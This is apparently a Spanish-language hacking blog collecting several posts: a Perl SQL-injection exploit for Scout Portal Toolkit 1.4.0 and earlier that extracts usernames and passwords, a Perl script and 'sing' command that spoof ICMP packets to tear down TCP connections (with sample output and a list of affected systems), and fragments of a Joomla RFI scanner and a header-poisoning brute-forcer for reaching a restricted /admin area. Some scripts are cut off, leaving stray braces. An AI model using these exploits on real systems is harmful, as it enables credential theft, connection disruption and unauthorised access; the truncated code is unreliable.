Son cada vez más las aplicaciones web vulnerables a ataques de SQL Injection, los cuales nos permiten hacer peticiones a la Base de Datos y rescatar información que comprometen la seguridad del sitio web. Esta vez el equipo de EspSeC y PerformSeC ha hallado una vulnerabilidad de SQL Injection en la aplicación web Scout Portal Toolkit en sus versiones iguales e inferiores a 1.4.0.

#!/usr/bin/perl# Scout Portal Toolkit <= 1.4.0 (ParentId) Remote SQL Injection Exploit
# Discovered & Coded by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project / EspSeC
# http://www.spanish-hackers.com
# rgod forever

print "\n[+] Exploiting...\n";
my $cnx = LWP::UserAgent->new() or die;
my $go=$cnx->get($victim."/SPT--BrowseResources.php?ParentId=
337+and+1=2+union+all+select+0,1,2,3,4,concat(UserName,char(34),UserPassword),6,7,8+from+APUsers/*");
if ($go->content =~ m/APUsers\/\*\' class=\'\'>(.*?)\<\/a>/ms)
{
print "[+] $1\n\n";
} else {
print "\n[-] exploit failed\n";
}

Exploit original

Hola, más de uno habrá escuchado o visto algo de las “automatizaciones de vulnerabilidades“. Estas tools son denominadas script’s por su simple programación. Aunque tenemos dos tipos: aquellas automatizaciones que se encargan de explotar las vulnerabilidades (las cuales se acercan más al termino de exploits), o aquellas que escanean en busca de unos determinados parámetros vulnerables. (En esta última centraremos la entrada de hoy).

Como estamos acostumbrados a decir, un hacker es una persona inteligente que es capaz crear seres más rápidos que él. Imaginemos que tenemos un CMS en el cual existen varias vulnerabilidades, no creo que la mejor manera fuese ir probando vulnerabilidad a vulnerabilidad a mano. Aquí es cuando la astucia del hacker se pone en marcha. Y ¿Porqué no crear un ser que lo haga por mi?. Claro una automatización que compruebe las vulnerabilidades de ese CMS automáticamente, mientras yo puedo hacer otras cosas.

Las automatizaciones que buscan parámetros vulnerables son simples de programación y aún más para vulnerabilidades en Web Apps. Veamos el ejemplo de una automatización para las vulnerabilidades de Remote File Inclusion en el CMS de Joomla.

#!/usr/bin/perl# RFI Joomla Comp v.1
# Code by JosS
# http://www.fullsecure.org

}
Nunca me cansaré de decirlo: Aún queda mucho por aprender y enseñar.

Queremos reencarnar una vulnerabilidad que se descubrió haya por el 2004 y que aún sigue siendo efectiva como en aquellos tiempos. ICMP Protocol Unreachable TCP denial of service, o también conocida como Blind TCP connection reset. Esta vulnerabilidad en el protocolo ICMP tiene el poder de falsificar el remitente de los paquetes ICMP produciendo una cancelación entre las conexiones TCP de dos ordenadores.

Hoy vamos a ver el caso local, es decir, romper una conexión TCP establecida entre nuestro ordenador y otro fuera de nuestra red. Como es habitual tocaremos temas de programación.

Lista de sistemas vulnerables:

• Blue Coat: Blue Coat Director Any version
• Blue Coat: Blue Coat ProxySG 2.1.11 and prior
• Blue Coat: Blue Coat ProxySG 3.2.4 and prior
• Blue Coat: Blue Coat ProxySG 4.1.1
• Blue Coat: Blue Coat Spyware Any version
• Cisco: Cisco Catalyst 6608 Any version
• Cisco: Cisco Catalyst 6624 Any version
• Cisco: Cisco IOS XR Any version
• Cisco: Cisco IP Phone 7960
• Cisco: Cisco IP Phone 7940 Any version
• Cisco: Cisco IP Phone 7970G prior to 6.0(1) SR1
• HP: HP-UX B.11.00
• HP: HP-UX B.11.04
• HP: HP-UX B.11.11
• HP: HP-UX B.11.22
• HP: HP-UX B.11.23
• HP: Tru64 UNIX 4.0F
• HP: Tru64 UNIX 4.0G
• HP: Tru64 UNIX 5.1A
• HP: Tru64 UNIX 5.1B-2
• HP: Tru64 UNIX 5.1B-3
• Juniper: JUNOS 6.x
• Kernel: Linux kernel prior to 2.6.9-rc3
• Microsoft: Windows 2000 SP3
• Microsoft: Windows 2000 SP4
• Microsoft: Windows 2003 Itanium
• Microsoft: Windows 2003 SP1
• Microsoft: Windows 2003 SP1 Itanium
• Microsoft: Windows 2003 x64
• Microsoft: Windows 2003 null
• Microsoft: Windows XP 64-Bit 2003 Itanium
• Microsoft: Windows XP 64-Bit SP1 Itanium
• Microsoft: Windows XP Pro x64 Edition
• Microsoft: Windows XP SP1
• Microsoft: Windows XP SP2
• Network Appliance: Data ONTAP 6.x
• OpenBSD: OpenBSD 3.4
• WatchGuard: WatchGuard Firebox Any version
• Wind River: VxWorks 5.4
• Wind River: VxWorks 5.5.x

Existen exploits, herramientas y automatizaciones para cargar contra esta debilidad en el protocolo ICMP. Esta vez veremos un poco de todo y empezaremos por la herramienta sing (disponible solo para Linux).

Sing (en dos pasos):

1º - Podemos instalarla con un simple apt-get install sing
2º - Ejecutamos: sing -du -x prot-unreach -psrc “puerto víctima” -orig “nuestra ip” -pdst “nuestro puerto” “victima ip”

Sin comillas dobles. Esta herramienta se encargará de falsificar los paquetes ICMP para cerrar definitivamente la conexión
entre las dos máquinas.

ICMP Protocol Unreachable TCP Automation Local DOS Exploit:

#!/usr/bin/perl

$ip = $ARGV[0];
$port = $ARGV[1];
$ip2 = $ARGV[2];
$port2 = $ARGV[3];

if ((!$ARGV[0]) || (!$ARGV[1]) || (!$ARGV[2]) || (!$ARGV[3]))
{
print “\n[x]: Incorrect argument\n”;
print “[x]: Exploit Usage:\n”;
print “[x]: perl x.pl yourIP yourPORT victimIP victimPORT\n\n”;
print “[x]: Exploit: ICMP Protocol Unreachable TCP Automation Local DOS Exploit\n”;
print “[x]: Coder: JosS\n”;
print “[x]: Contact: sys-project[at]hotmail.com\n”;
print “[x]: HomePage: www.spanish-hackers.com\n\n”;
}
else
{ #1e

chomp(my $demo = `whoami`);

if ($demo =~ m/root/)
{ #1i
print “\n[x]: $demo, OK!\n”;

print “[x]: Exploit installing…\n”;

chomp(my $demo2 = `apt-get install sing`);

print “[x]: Exploit installed\n”;
print “[x]: Starting attack…\n”;
chomp(my $demo3 = `sing -du -x prot-unreach -psrc $port2 -orig $ip -pdst $port $ip2`);
print “[x]: $demo3\n”;
print “[x]: Finished attack\n\n”;
exit(1);
} #1iF
else
{
print “\n[x]: $demo, you are not Root\n\n”;
exit(1);
}
} #1eF

Salida por pantalla:

# h4×0rz:/home/joss/Desktop# perl exp.pl 192.168.1.34 9999 192.168.1.33 1233
# [x]: root, OK!
# [x]: Exploit installing…
# [x]: Exploit installed
# [x]: Starting attack…
# [x]: SINGing to 192.168.1.33 (192.168.1.33): 36 data bytes
# [x]: Finished attack

No hace falta mucho tiempo para comentar el peligro de esta vulnerabilidad que surgió hace ya mucho tiempo y aún persiste entre todos nosotros y tendríamos que preocuparnos aún más viendo lo sencillo que resulta explotarla.

Exploit:
http://milw0rm.com/exploits/291

Hoy en el laboratorio tenemos un ejemplo práctico de Header Poisoning. Tocaremos temas de programación y conceptos de header. Queremos mostrar lo fácil que es envenenar las cabeceras en las peticiones a páginas web. Imaginemos que tenemos un blanco, una empresa que posee un área (Ejemplo: /admin/) al cual solo pueden acceder los miembros de su empresa que estén usando el proxy único de la empresa. Si entramos a ese área sin el proxy nos salta: “No estas utilizando nuestro proxy: 3.1.x.x”. Bien sabemos los dos primeros dígitos del proxy que hay que usar para acceder al área de administrador. Planteándolo un poco, sería muy pesado estar comprobado a mano proxy a proxy por lo que nosotros desarrollaremos nuestro script que nos haga todo el trabajo. La función principal del script será el envenamiento de las cabeceras que enviemos a la petición del servidor, por lo que nuestro script se encargará de entrar con todas las combinaciones de proxy posibles a ‘/admin’.

# !/usr/bin/perl

$contador2++;
}
$contador1++;
$contador2=0;
}

Hay está el script desarrollado al completo, podéis ver que hemos empleado el lenguaje perl para este desarrollo; simplemente porque lo veíamos el más cualificado para esta explicación. El script como podéis ver nos guarda el resultado de las peticiones en un ‘txt’, cuando el script acabe, abrimos el ‘txt’ que nos creó y podremos ver miles de lineas que nos muestra este mensaje: “No estas utilizando nuestro proxy: 3.1.x.x”, excepto en una que ha sido cuando ha realizado la petición con el proxy correcto, nos mostrará todo el contenido del área ‘/admin’ por lo que podremos ver que se está cociendo por hay.

Saludos y hasta la próxima.